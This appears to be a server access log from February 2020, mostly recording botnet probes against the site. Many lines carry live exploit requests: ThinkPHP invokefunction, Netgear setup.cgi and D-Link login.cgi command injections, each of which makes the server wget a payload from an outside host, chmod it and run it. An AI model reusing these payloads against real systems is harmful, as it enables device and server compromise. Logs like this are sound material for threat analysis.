125.59.47.44 - - [12/Feb/2020:00:06:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.85.127.18 - - [12/Feb/2020:00:06:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.32.79.159 - - [12/Feb/2020:00:08:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.115.114.57 - - [12/Feb/2020:00:10:10 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://180.115.114.57:53248/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
141.8.189.150 - - [12/Feb/2020:00:11:25 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
141.8.189.150 - - [12/Feb/2020:00:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
183.87.220.244 - - [12/Feb/2020:00:12:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.54.139.249 - - [12/Feb/2020:00:15:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.89.144.131 - - [12/Feb/2020:00:17:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
216.244.66.250 - - [12/Feb/2020:00:19:51 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
58.187.209.82 - - [12/Feb/2020:00:20:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.244.51 - - [12/Feb/2020:00:20:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.191.145.11 - - [12/Feb/2020:00:21:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
216.244.66.250 - - [12/Feb/2020:00:22:58 +0100] "GET /seiten/kontakt.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
197.232.252.155 - - [12/Feb/2020:00:29:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.232.252.155 - - [12/Feb/2020:00:29:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.251.22.97 - - [12/Feb/2020:00:31:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.65.121.102 - - [12/Feb/2020:00:31:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
151.226.25.182 - - [12/Feb/2020:00:33:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
152.231.116.62 - - [12/Feb/2020:00:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.119.19.121 - - [12/Feb/2020:00:36:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.84.20 - - [12/Feb/2020:00:37:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
208.114.149.10 - - [12/Feb/2020:00:39:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.82.125.36 - - [12/Feb/2020:00:39:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
195.49.187.144 - - [12/Feb/2020:00:43:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.63.13.142 - - [12/Feb/2020:00:45:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.121.0.69 - - [12/Feb/2020:00:46:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [12/Feb/2020:00:46:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [12/Feb/2020:00:46:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [12/Feb/2020:00:46:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.9.69.84 - - [12/Feb/2020:00:46:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
79.9.69.84 - - [12/Feb/2020:00:46:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
220.121.0.69 - - [12/Feb/2020:00:47:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
118.71.67.32 - - [12/Feb/2020:00:47:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.45.119.49 - - [12/Feb/2020:00:48:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.161.111.175 - - [12/Feb/2020:00:56:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [12/Feb/2020:00:56:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [12/Feb/2020:00:56:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [12/Feb/2020:00:56:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [12/Feb/2020:00:56:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.243.50.227 - - [12/Feb/2020:00:57:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
78.166.140.57 - - [12/Feb/2020:00:58:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
190.28.111.56 - - [12/Feb/2020:00:59:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
200.168.65.196 - - [12/Feb/2020:01:03:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.180.224.249 - - [12/Feb/2020:01:05:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
91.218.168.20 - - [12/Feb/2020:01:08:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
197.33.152.193 - - [12/Feb/2020:01:09:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.62.160.70 - - [12/Feb/2020:01:10:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
88.247.129.79 - - [12/Feb/2020:01:11:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.8.185.163 - - [12/Feb/2020:01:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
79.20.97.137 - - [12/Feb/2020:01:14:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
1.55.27.25 - - [12/Feb/2020:01:15:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.214.71.181 - - [12/Feb/2020:01:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
187.214.71.181 - - [12/Feb/2020:01:15:30 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
187.214.71.181 - - [12/Feb/2020:01:15:31 +0100] "POST /Admin53f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
178.88.196.241 - - [12/Feb/2020:01:16:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.80.39.93 - - [12/Feb/2020:01:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
176.151.252.181 - - [12/Feb/2020:01:19:02 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
176.114.224.102 - - [12/Feb/2020:01:19:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.85.127.18 - - [12/Feb/2020:01:21:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.250.70 - - [12/Feb/2020:01:22:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.45.119.49 - - [12/Feb/2020:01:23:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.114.65.232 - - [12/Feb/2020:01:25:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.197.185 - - [12/Feb/2020:01:27:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
3.223.3.19 - - [12/Feb/2020:01:31:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.172.222.224 - - [12/Feb/2020:01:31:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
152.136.157.215 - - [12/Feb/2020:01:33:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.119.243.10 - - [12/Feb/2020:01:33:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.46.3 - - [12/Feb/2020:01:35:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.134.134 - - [12/Feb/2020:01:36:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
179.183.17.149 - - [12/Feb/2020:01:38:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
149.129.222.44 - - [12/Feb/2020:01:38:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.89.103.250 - - [12/Feb/2020:01:40:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.58.245.241 - - [12/Feb/2020:01:41:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.190.94.86 - - [12/Feb/2020:01:42:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.5.141.90 - - [12/Feb/2020:01:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.5.141.90 - - [12/Feb/2020:01:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
92.255.166.53 - - [12/Feb/2020:01:44:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
197.53.222.171 - - [12/Feb/2020:01:44:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.164.52 - - [12/Feb/2020:01:52:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.47.228 - - [12/Feb/2020:01:53:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
213.61.218.54 - - [12/Feb/2020:01:56:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "spider"
71.6.232.4 - - [12/Feb/2020:01:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
147.30.21.74 - - [12/Feb/2020:01:59:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.129.217.13 - - [12/Feb/2020:02:00:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.213.92 - - [12/Feb/2020:02:01:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.43.209 - - [12/Feb/2020:02:02:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.133.72.65 - - [12/Feb/2020:02:03:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.80.115 - - [12/Feb/2020:02:04:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.113.164.45 - - [12/Feb/2020:02:06:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.132.36.53 - - [12/Feb/2020:02:08:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.145.121 - - [12/Feb/2020:02:12:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.7.84.141 - - [12/Feb/2020:02:15:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.26.42 - - [12/Feb/2020:02:17:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.210.78.141 - - [12/Feb/2020:02:17:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
89.210.78.141 - - [12/Feb/2020:02:17:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
89.210.78.141 - - [12/Feb/2020:02:17:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.117.20.165 - - [12/Feb/2020:02:18:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.38 - - [12/Feb/2020:02:19:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
118.69.34.216 - - [12/Feb/2020:02:19:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.211.127.16 - - [12/Feb/2020:02:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
